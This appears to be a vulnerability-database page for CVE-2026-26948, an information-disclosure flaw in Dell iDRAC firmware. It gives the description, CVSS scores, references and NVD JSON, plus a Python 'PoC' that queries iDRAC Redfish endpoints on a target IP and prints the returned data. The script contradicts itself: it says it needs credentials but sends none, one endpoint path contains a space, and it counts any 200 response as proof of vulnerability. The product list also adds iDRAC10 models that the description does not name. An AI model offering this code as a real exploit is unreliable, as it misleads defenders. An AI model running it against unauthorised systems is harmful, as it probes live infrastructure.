CVE-2026-26948

Description

Dell Integrated Dell Remote Access Controller 9, 14G versions prior to 7.00.00.174, 15G and 16G versions prior to 7.10.90.00, contain an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to information disclosure.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dell iDRAC9 14G < 7.00.00.174

Dell iDRAC9 15G < 7.10.90.00

Dell iDRAC9 16G < 7.10.90.00

Dell iDRAC10 14G < 7.00.00.174

Dell iDRAC10 15G < 7.10.90.00

Dell iDRAC10 16G < 7.10.90.00

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-26948 PoC - Dell iDRAC Sensitive Information Disclosure
# Note: This PoC is for authorized security testing only

import requests
import ssl
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2026_26948(target_ip, target_port=443):
    """
    Exploit for Dell iDRAC sensitive information disclosure
    Requires high-privilege credentials
    """
    
    # Target configuration
    base_url = f"https://{target_ip}:{target_port}"
    
    # Debug endpoint that may expose sensitive information
    debug_endpoints = [
        "/redfish/v1/Systems/System.Embedded.1/LogServices/Lclog/Entries",
        "/redfish/v1/Managers/iDRAC.Embedded.1/LogServices/EventLog/Entries",
        "/redfish/v1/Systems/System.Embedded.1/Bios/Actions/BiosChangeRegistry",
        "/api/session info",
        "/api/sysinfo"
    ]
    
    results = []
    
    # Attempt to retrieve debug information
    for endpoint in debug_endpoints:
        try:
            response = requests.get(
                f"{base_url}{endpoint}",
                verify=False,
                timeout=10,
                headers={
                    "User-Agent": "Dell-iDRAC-Redfish-Client/1.0",
                    "Accept": "application/json"
                }
            )
            
            if response.status_code == 200:
                results.append({
                    "endpoint": endpoint,
                    "status": "accessible",
                    "data_length": len(response.text),
                    "sample": response.text[:500] if response.text else ""
                })
        except requests.exceptions.RequestException as e:
            results.append({
                "endpoint": endpoint,
                "status": "error",
                "error": str(e)
            })
    
    return results

def check_vulnerability(target_ip):
    """
    Check if target is vulnerable to CVE-2026-26948
    """
    print(f"[*] Checking {target_ip} for CVE-2026-26948...")
    results = exploit_cve_2026_26948(target_ip)
    
    for result in results:
        if result.get("status") == "accessible":
            print(f"[+] Vulnerable endpoint found: {result['endpoint']}")
            print(f"    Data sample: {result['sample'][:200]}...")
    
    return len([r for r in results if r.get('status') == 'accessible']) > 0

if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python cve-2026-26948.py <target_ip>")
        sys.exit(1)
    
    target = sys.argv[1]
    is_vulnerable = check_vulnerability(target)
    
    if is_vulnerable:
        print(f"[!] {target} appears to be vulnerable to CVE-2026-26948")
    else:
        print(f"[*] {target} does not appear to be vulnerable or requires authentication")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26948
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26948
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26948/
[4] VulDB https://vuldb.com/cve/CVE-2026-26948
[5] https://www.dell.com/support/kbdoc/en-us/000434533/dsa-2026-113-security-update-for-dell-idrac9-and-idrac10-vulnerabilities

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-26948", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:26.530", "lastModified": "2026-03-19T13:25:00.570", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell Integrated Dell Remote Access Controller 9, 14G versions prior to 7.00.00.174, 15G and 16G versions prior to 7.10.90.00, contain an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to information disclosure."}, {"lang": "es", "value": "Dell Integrated Dell Remote Access Controller 9, versiones 14G anteriores a 7.00.00.174, versiones 15G y 16G anteriores a 7.10.90.00, contienen una vulnerabilidad de Exposición de Información Sensible del Sistema Debido a Información de Depuración No Borrada. Un atacante con altos privilegios y acceso remoto podría potencialmente explotar esta vulnerabilidad, lo que llevaría a la revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1258"}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000434533/dsa-2026-113-security-update-for-dell-idrac9-and-idrac10-vulnerabilities", "source": "[email protected]"}]}}